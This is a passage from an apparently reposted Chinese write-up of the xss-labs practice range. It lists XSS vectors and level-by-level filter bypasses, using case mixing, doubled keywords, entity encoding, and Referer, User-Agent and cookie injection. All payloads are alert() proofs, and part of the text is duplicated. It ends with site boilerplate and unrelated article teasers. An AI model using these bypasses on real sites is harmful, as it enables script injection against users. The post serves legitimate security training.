xss-labs靶场

xss-labs靶场

xss攻击类型

  • 反射型xss
  • 即攻击者将恶意脚本嵌入到url或者表单中,当用户访问特定的url或者提交表单时(用户端请求时),恶意脚本会执行

  • 攻击需要用户点击恶意链接或访问包含恶意参数的url触发

  • 存储型xss
  • 即攻击者将恶意脚本提交到服务器,恶意代码被服务器存储到数据库中

  • 存储型xws会被永久保存,且可被在多个用户访问时反复触发,具有持久性和广泛性

  • 基于DOM的xss
  • DOM 全程为 document object model
  • 可以动态改变原来网站想要插入的链接,将其改成另一个网站
   document.getElementById("demo").innerHTML = "http://www.youku.com。";
} <!-- 这里比如原来demo所指的地址是http://www.baidu.com ,这里可以将其改成www.youku.com -->
  • 所以这里可以动态修改

+++

攻击形式

  • 标签
<!--a标签是HTML中用来创建超链接的元素,用户点击之后会跟根据href指定的url导航到另一个页面-->
<!-- 点击链接触发 - JavaScript 伪协议 -->
<a href="javascript:alert(1)")>XSS1</a>
<!-- autofocus - 当页面加载时 a 标签自动获得焦点,自动触发 onfoucus 事件-->
<a href="" onfocus="alert(1)" autofocus>XSS3</a>
<!-- 事件监听,当鼠标划过元素时触发 -->
<a href="" onmouseover="alert(1)">XSS5</a>
<!-- 事件监听,当鼠标划出元素时触发 -->
<a href="" onmouseout="alert(1)">XSS6</a>
  • 标签
<!-- 事件监听:焦点事件,页面加载完成后,button 标签自动获得焦点,触发 onfocus
事件 -->
<button onfocus=alert(1) autofocus>XSS1</button>
<!-- 下面均为事件监听,不多解释了 -->
<button onclick=alert(1)>XSS2</button>
<button onmouseover=alert(1)>XSS3</button>
<button onmouseout=alert(1)>XSS4</button>
<button onmouseup=alert(1)>XSS5</button>
<button onmousedown=alert(1)>XSS6</button>

  • 标签
<!--设置打开使用图片 但是让图片=1 所以会加载失败 则触发xss,页面会显示一个警告框 显示1 -->
<img src=1 onerror=alert("xss");>
  • 标签
<! --这里代码执行时会别嵌入到页面中,当浏览器解析代码时会立即执行alert从而显示出xss,本质上就是为了将恶意代码注入到网页中然后方便下一次用户使用时候执行攻击 -->
<script>alert("xss");</script>
  • 标签
<!-- 当用户与输入框之类的产生交互而获得焦点时 就会触发然后警示框显示xss -->
<input onfocus="alert"('xss')>
使用 open 属性触发 ontoggle 事件,无需用户去触发
<details open ontoggle="alert('xss');">
  • ''标签
<!-- onfocus事件会在元素获得焦点时触发,对于select元素,通常当用户点击下拉框时,事件就会被触发-->

<select onfocus=alert(1) autofocus>
  • 标签’
<!--页面加载渲染这段代码时,svg元素会被解析并触发onload事件,弹出警示框显示'xss'-->
<!--svg是一种XML格式的图形格式,包含形状,文本,渐变等-->
<svg onload=alert("xss");>
  • ''标签
<!--iframe元素是在当前页面中其嵌入另一个页面,加载其他的网页或资源,但是本例子中没有src元素 所以是孔德 直接触发onload事件也就是弹出xss的警告-->
<iframe onload=alert("xss");>
</iframe>
  • ''标签
<!--video元素用于在页面中其纳入视频,但是本例子中没有指定src属性,所以直接触发oberror事件,也就是在视频等加载失败后触发alert-->
<video><source onerror="alert(1)">
  • ''标签
<!-- body元素是html文档的主体部分,包含了页面的所有可视内容,如文本,图片,表格等;onload 事件会在页面等特定元素完全加载之后触发,所以之后就会弹出xss-->
<body onload=alert("xss");>
  • ‘标签’
<!-- 浏览器加载iframe元素时候执行jsp:协议直接触发alert事件-->
<iframe src="javaseript:alert('xss');">xss</a>
  • ''标签
<img src=javascript:alert('xss');>
  • ''标签
<!-- form元素在HTML中用于创建表格,允许用户输入数据并提交到服务器,表单的action属性指定了表单提交的目标url,但由于后面有一个jsp;协议,所以表单不会提交数据,而是执行alert事件;之后的input就是用户点击提交按钮之后表单才会被提交-->
<form action="javascript:alert(1)"><input type=submit>

+++

简单读懂代码

<!DOCTYPE html><!--STATUS OK--><html>
<!-- meta是一个HTML元素 用来提供关于文档的信息 例如作者,浏览器该页面的字符编码-->  //text/html  这个可以指定文档类型为HTML
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<!--这里定义了一个window.alert的函数 confirm显示之后会直接到达下一个lavel4这个页面 并且显示"try harder"-->
<script>
window.alert = function()  
{     
confirm("完成的不错!");  
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<!--接下来定义了一个表单form 并且之后用户提交的表单都会被送到lavel3.php中-->
<form action=level3.php method=GET>  <!--这里的get意味着用get方法传递数据,也就是用户提交的数据会附加到url后面作为查询字符(携带数据或参数以便传递给 服务器)-->
<!-- 用于接收用户输入,这里的value 后面为空字符 意味着用户可以在输入框中输入内容-->
<input name=keyword  value=''>	 
<!-- 定义了一个提交按钮 用户点击提交后会发送到action路径中,value值那里会显示搜索这两个词-->
<input type=submit name=submit value=搜索 />  
    <!-- inm 是单纯的显示出图像,payload 是显示长度-->
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>

.htmlspecialchars  //..用于过滤特殊字符
&
<
>
''
""

lavel 1

发现url输入框中有get形式传参,想从其中找漏洞

漏洞在于其没有对用户输入的东西进行转义,例如特殊字符< > 之类的

<script>alert(1)</script>

直接过关

lavel 2

从f12中观看分别在url和输入框中写入xss语句后哪一个没有被实体化(被编码) 发现搜索框中的没有被实体化 所以构造语句使xss可以执行

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

"> <script>alert(2)</script> <"

这里的"闭合了value 的前引号 ,>闭合了input的前引号,后面同理

lavel 3

观察源代码发现是单引号闭合 仿照lavel2进行闭合绕过 发现符号也被实体化了

ps:f12选中右键查看“编辑HTML”观察到符号已经被实体化了

<!-- 页面加载并且该输入框获得焦点时,onfocus事件被触发-->
' onfocus=javascript:alert()'

全部实体化 利用标签事件 单引号闭合

lavel 4

"> onfocus=javascript:alert() <" 

lavel 5

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

沿用上一关的方法发现o于n之间被加了一个_ ,所以无法绕过

这里尝试使用a标签 再匹配它的格式 发现可以

"> <a href="javascript:alert(1)")>XSS1</a> <"

lavel 6(大小写)

这里发现href标签也被禁了 再尝试button 发现也不可以

如果查看网页源码 发现过滤的代码并没有显示出来,所以直接文件打开

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

发现其有replace 替代字符串的代码 例如on->o_ n ,这可以直接使xss无效,所以我直接变成大写 发现可以绕过

"> <ButtON oNfoCus=alert(1) aUtoFocUs>XSS1</buttOn> <"
"> <a hRef="javaScript:alert(1)")>XSS1</a> <"

lavel 7(双拼写)

这里文件打开php文件 发现其把on 等字符串替代成空 ,且大小写转换没有用.那么接下来就简单了:

但是这个不行 因为对于像 onnfocus 这种事件处理器的拼写错误,浏览器会彻底忽略该事件属性

"> oonnfocus=javasscirptcript:alert() <" 

所以采用

"> <a hrehreff=javasscriptcript:alert()>x</a> <"

lavel 8

查看源代码发现其把双引号过滤了

这时候可以利用unicode直接编码然后绕过 利用的就是通过浏览器自己解码就可以绕过一些检查 这里不需要闭合就可以直接编码 因为浏览器编码结束之后会直接执行jsp 但是之前的需要闭合的因为要确保HTML属性值正确才可以执行

javascript:alert()

编码成

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

就可以添加链接了

lavel 9

这里发现加入了判断语句

<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
    
 //strpos($str7,'http://' 这个函数用来判断语句是否有http:// 如果没有 就返回false 那么false===false 就会显示出错

所以要在上一关的基础上增加http://

通过编码javascript:alert() /* http:// */

护机制只是检查 javascript: 并且认为它后面有注释部分(即以 /* 开始),它可能会误认为整个 URL 不再是有效的 javascript: 协议,从而不做进一步的检查。

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

继续解释为什么将a href标签编码之后再加入/* http:// */ 为什么没用?因为a标签本身和后面的href属性 url他们都是HTML元素 ,但是HTML元素本身并不允许在其中直接插入jsp代码 尤其是在属性值中

lavel 10

首先可以观看php源代码,发现其接通过

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
//get传参  
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
//三个属性为用户看不见的传递的变量在url中传递值
//tips; 这里'$str33' 就是一种简单的拼接 单引号不需要管!!!

发现

$str11 = $_GET["t_sort"];
<input name="t_sort"  value="'.$str33.'" type="hidden"> 

这两行代码是重复的 也就是我们需要通过get传参t_sort 传递值 此外需加一个type="text"的按钮让我们可以成功知道自己渗透了

"t_sort=onfocus=javascript:alert() type"text

lavel 11

$str11=$_SERVER['HTTP_REFERER'];
$str22 = str_replace(">", "", $str11);
$str33=str_replace("<","",$str22);
<input name="t_ref"  value="'.$str33.'" type="hidden">  
/这里可以看到通过多次过滤的方法将原本获取的http请求头给到了t_ref

这里有一个HTTP_REFERER 它会追溯上一个你访问的网站是什么 然后因为有= 所以会复制给ste11,这里查询REFERER函数

RefererReferer 是一个 HTTP 请求头字段,它由浏览器自动添加,表明当前请求是从哪个页面发起的。在 XSS 攻击中,攻击者可以通过篡改 Referer 来传递恶意数据。当你在 Hackbar 中修改 Referer 字段并输入 aaa"type = "text"onclick="alert(1) 时,浏览器会将它作为请求头发送到服务器。在页面中,服务器会通过 $_SERVER['HTTP_REFERER'] 获取这个字段并进行处理。

所以可通过hackbar中的refer直接输入

ps: REFERER并不是必须为相关的请求头 攻击者可以将其改为任意字段 例如以下的xss代码

aaa"type = "text"onclick="alert(1)

lavel 12

$str11=$_SERVER['HTTP_USER_AGENT'];

观察代码 发现与上一关不同的就是REFERER变成了USER_AGENT 这里可以直接将

aaa"type = "text"onclick="alert(1)

通过hackbar中的user agent 提交过关

lavel 13

setcookie("user", "call me maybe?", time()+3600);
//这里设置了一个名为user的cookie 值为call me maybe 并且这个cookie会在3600秒之后过期
ini_set("display_errors", 0);
//这是一个函数 display_errors为1表示开启错误选项,0表示关闭错误选项,这里直接设置为了0 意味着不希望将内部的错误信息暴露给用户

这里漏洞是 页面中有代码从cookie中读取数据并直接插入html中 因为开发者没有对html进行转义或清理

这里直接f12 在存储中点击cookie 然后值中输入

aaa"type = "text"onclick="alert(1)

就可通关

lavel 14

重点: iframe

<iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe>
//这里的iframe元素用来嵌入外部网站或文档
iframe 是HTML中的一个标签  允许在网页中嵌入另一个网页
name=  定义了iframe的名称 便于通过jsp通过jsp进行访问
src=  这里指向了一个外部网站 
margin 这里设置iframe 内容的内边距 左右上下边距
frameborder=no 这里定义了边框为无 使iframe 内容与页面融为一体
width 等 设置了iframe的宽度和高度
scrolling=no 禁止iframe的滚动条 
www.exifviewer.org  这还是一个exit(可交换文件查看格式)信息查看器 也就是可以查看图片的元数据 例如拍摄时间 地理位置

这里是直接跳转到其指定的网站上之后上传一个带有xss的代码 以便达到弹窗模式

lavel 15

这里通过get传参方法获得一个路径 并把它镶嵌到网页中可能会让页面根据这个路径加载一些新内容

$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
//ng-include 这就是文件包含的意思 用来包含外部的html元素 如果包含的内容是地址 需加引号

lavel 16

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>
//这里将script 等都过滤了 甚至还有空格,大小写,/ 但是我们可以用url编码空格 然后用svg ,video标签等过关

方法: 一定要将空格编码!!

?keyword=<video><source%0Aonerror="alert(1)">

lavel 17

这里ctrl+u发现出现了两个陌生的东西

<embed src=xsf01.swf?= width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
//swf文件是显示动画 游戏和多媒体内容的文件 适合网页中的其嵌入式内容
//emd标签是HEML中用来在网页嵌入外部资源的标签 包含src width height type(告诉浏览器该资源类型是什么)

这里因为我们的浏览器没有flash插件 所以无法打开swf文件,这里解法是直接后端查看代码将xsf02.swf改成index.png

小贴士:这里我们不是必须有index.png文件才可以成功 就算我们文件夹中没有 浏览器也会执行jsp代码 从而触发alert

然后

arg01=javascript:alert()

lavel 18

这里发现多了一行代码

confirm("完成的不错!");
 window.location.href="level19.php?arg01=a&arg02=b";

这里我们尝试用一下方法 但是发现没有用

&#8220;arg01=javascript:alert()&#38;

因为浏览器不会将src属性中的内容解析为html 或者jsp ,因此不会直接执行

因此

...

lavel 19

lavel 20

rc width height type(告诉浏览器该资源类型是什么)


这里因为我们的浏览器没有flash插件 所以无法打开swf文件,这里解法是直接后端查看代码将`xsf02.swf`改成`index.png`

小贴士:这里我们不是必须有index.png文件才可以成功  就算我们文件夹中没有 浏览器也会执行jsp代码 从而触发alert

然后 

arg01=javascript:alert()


## lavel 18

这里发现多了一行代码

```php
confirm("完成的不错!");
 window.location.href="level19.php?arg01=a&arg02=b";

这里我们尝试用一下方法 但是发现没有用

&#8220;arg01=javascript:alert()&#38;

因为浏览器不会将src属性中的内容解析为html 或者jsp ,因此不会直接执行

因此

...

lavel 19

lavel 20

这两关没有发现18关有什么区别 但就是过不去…过完年再解吧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/963177.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

CVE-2024-23897-Jenkins任意文件读取漏洞复现

content Jenkins是什么CVE-2024-23897总结修复建议 Jenkins是什么 Jenkins是一人基于Java开发的、可扩展的持续集成引擎&#xff0c;用于持续、自动地构建/测试软件项目&#xff0c;可以监控一些定时执行的任务。 官网文档&#xff1a; Jenkins是一款开源 CI&CD 软件&…

解析 Oracle 中的 ALL_SYNONYMS 和 ALL_VIEWS 视图:查找同义词与视图的基础操作

目录 前言1. ALL_SYNONYMS 视图2. ALL_VIEWS 视图3. 扩展 前言 &#x1f91f; 找工作&#xff0c;来万码优才&#xff1a;&#x1f449; #小程序://万码优才/r6rqmzDaXpYkJZF 1. ALL_SYNONYMS 视图 在 Oracle 数据库中&#xff0c;同义词&#xff08;Synonym&#xff09;是对数…

30.Word:设计并制作新年贺卡以及标签【30】

目录 NO1.2 NO3邮件合并-信函 NO4邮件合并-标签​ NO1.2 另存为/F12&#xff1a;考生文件夹&#xff1a;Word.docx布局→页面设置对话框→页边距&#xff1a;上下左右→纸张&#xff1a;宽度/高度&#xff08;先调页边距&#x1f197;&#xff09;设计→页面颜色→填充效果→…

Unity实现按键设置功能代码

一、前言 最近在学习unity2D&#xff0c;想做一个横版过关游戏&#xff0c;需要按键设置功能&#xff0c;让用户可以自定义方向键与攻击键等。 自己写了一个&#xff0c;总结如下。 二、界面效果图 这个是一个csv文件&#xff0c;准备第一列是中文按键说明&#xff0c;第二列…

一个简单的自适应html5导航模板

一个简单的 HTML 导航模板示例&#xff0c;它包含基本的导航栏结构&#xff0c;同时使用了 CSS 进行样式美化&#xff0c;让导航栏看起来更美观。另外&#xff0c;还添加了一些 JavaScript 代码&#xff0c;用于在移动端实现导航菜单的展开和收起功能。 PHP <!DOCTYPE htm…

TensorFlow 示例摄氏度到华氏度的转换(一)

TensorFlow 实现神经网络模型来进行摄氏度到华氏度的转换&#xff0c;可以将其作为一个回归问题来处理。我们可以通过神经网络来拟合这个简单的转换公式。 1. 数据准备与预处理 2. 构建模型 3. 编译模型 4. 训练模型 5. 评估模型 6. 模型应用与预测 7. 保存与加载模型 …

2.1.3 相机图像信号处理的基本流程

文章目录 ISP基本流程ISP各基本流程职责 ISP基本流程 图像信号处理将传感器采集到的Bayer阵列数据转换成符合人眼观感的图像数据。ISP(Image Signal Processing)图像信号处理基本流程包括坏点校正&#xff08;DPC, Defect Pixel Correction&#xff09;&#xff0c;黑电平校正&…

51单片机CLD1602显示万年历+闹钟+农历+整点报时

1. 硬件设计 硬件是我自己设计的一个通用的51单片机开发平台&#xff0c;可以根据需要自行焊接模块&#xff0c;这是用立创EDA画的一个双层PCB板&#xff0c;所以模块都是插针式&#xff0c;不是表贴的。电路原理图在文末的链接里&#xff0c;PCB图暂时不选择开源。 B站上传的…

颠覆AI界限!o3-mini与DeepSeek V3的巅峰对决

性能之战&#xff1a;谁才是AI推理的王者&#xff1f; 在AI技术飞速发展的今天&#xff0c;OpenAI最新发布的o3-mini模型如同一颗新星&#xff0c;闪耀在AIGC的天空中。它不仅带来了惊人的性能提升&#xff0c;还具备了多项用户友好的功能。与此同时&#xff0c;DeepSeek V3也…

Spring Boot项目如何使用MyBatis实现分页查询

写在前面&#xff1a;大家好&#xff01;我是晴空๓。如果博客中有不足或者的错误的地方欢迎在评论区或者私信我指正&#xff0c;感谢大家的不吝赐教。我的唯一博客更新地址是&#xff1a;https://ac-fun.blog.csdn.net/。非常感谢大家的支持。一起加油&#xff0c;冲鸭&#x…

PDCA 循环法

目录 循环周而复始大环套小环阶梯式上升 如何从 0 开始搭建 PDCA应用场景示例一、健身 APP 拉新活动策划第一阶段&#xff1a;制定详细的活动计划与方案第二阶段&#xff1a;活动执行阶段第三阶段&#xff1a;活动效果监控阶段第四阶段&#xff1a;活动复盘阶段 二、员工培训三…

深入理解Spring事务管理

一、事务基础概念 1.1 什么是事务&#xff1f; 事务&#xff08;Transaction&#xff09;是数据库操作的最小工作单元&#xff0c;具有ACID四大特性&#xff1a; 原子性&#xff08;Atomicity&#xff09;&#xff1a;事务中的操作要么全部成功&#xff0c;要么全部失败 一致…

【Linux-网络】初识计算机网络 Socket套接字 TCP/UDP协议(包含Socket编程实战)

&#x1f3ac; 个人主页&#xff1a;谁在夜里看海. &#x1f4d6; 个人专栏&#xff1a;《C系列》《Linux系列》《算法系列》 ⛰️ 道阻且长&#xff0c;行则将至 目录 &#x1f4da;一、初识计算机网络 &#x1f4d6; 背景 &#x1f4d6; 网络协议 &#x1f516;OSI七层…

2 MapReduce

2 MapReduce 1. MapReduce 介绍1.1 MapReduce 设计构思 2. MapReduce 编程规范3. Mapper以及Reducer抽象类介绍1.Mapper抽象类的基本介绍2.Reducer抽象类基本介绍 4. WordCount示例编写5. MapReduce程序运行模式6. MapReduce的运行机制详解6.1 MapTask 工作机制6.2 ReduceTask …

【Rust自学】15.5. Rc<T>:引用计数智能指针与共享所有权

喜欢的话别忘了点赞、收藏加关注哦&#xff0c;对接下来的教程有兴趣的可以关注专栏。谢谢喵&#xff01;(&#xff65;ω&#xff65;) 15.5.1. 什么是Rc<T> 所有权在大部分情况下都是清晰的。对于一个给定的值&#xff0c;程序员可以准确地推断出哪个变量拥有它。 …

LabVIEW微位移平台位移控制系统

本文介绍了基于LabVIEW的微位移平台位移控制系统的研究。通过设计一个闭环控制系统&#xff0c;针对微位移平台的通信驱动问题进行了解决&#xff0c;并提出了一种LabVIEW的应用方案&#xff0c;用于监控和控制微位移平台的位移&#xff0c;从而提高系统的精度和稳定性。 项目背…

关于matlab中rotm2eul的注释错误问题

在这里&#xff0c;写的是默认的旋转矩阵的顺序为‘ZYX’&#xff0c;对应的旋转轴的顺序为Z、Y、X。 包括网页上写的是 但是实际上&#xff0c;在实际的应用中&#xff0c;旋转的顺序应该是&#xff0c;X、Y、Z轴的顺序 即RRzRyRx 但是在矩阵运算中&#xff0c;由于YRzRyRx*X…

前端 | 深入理解Promise

1. 引言 JavaScript 是一种单线程语言&#xff0c;这意味着它一次仅能执行一个任务。为了处理异步操作&#xff0c;JavaScript 提供了回调函数&#xff0c;但是随着项目处理并发任务的增加&#xff0c;回调地狱 (Callback Hell) 使异步代码很难维护。为此&#xff0c;ES6带来了…

使用 Spring JDBC 进行数据库操作:深入解析 JdbcTemplate

目录 1. Spring JDBC 简介 2. JdbcTemplate 介绍 3. 创建数据库和表 4. 配置 Spring JDBC 5. 创建实体类 6. 使用 JdbcTemplate 实现增、删、改、查操作 7. Spring JDBC 优点 8. 小结 1. Spring JDBC 简介 Spring JDBC 是 Spring 框架中的一个模块&#xff0c;旨在简化…

基于FPGA的BT656编解码

概述 BT656全称为“ITU-R BT.656-4”或简称“BT656”,是一种用于数字视频传输的接口标准。它规定了数字视频信号的编码方式、传输格式以及接口电气特性。在物理层面上,BT656接口通常包含10根线(在某些应用中可能略有不同,但标准配置为10根)。这些线分别用于传输视频数据、…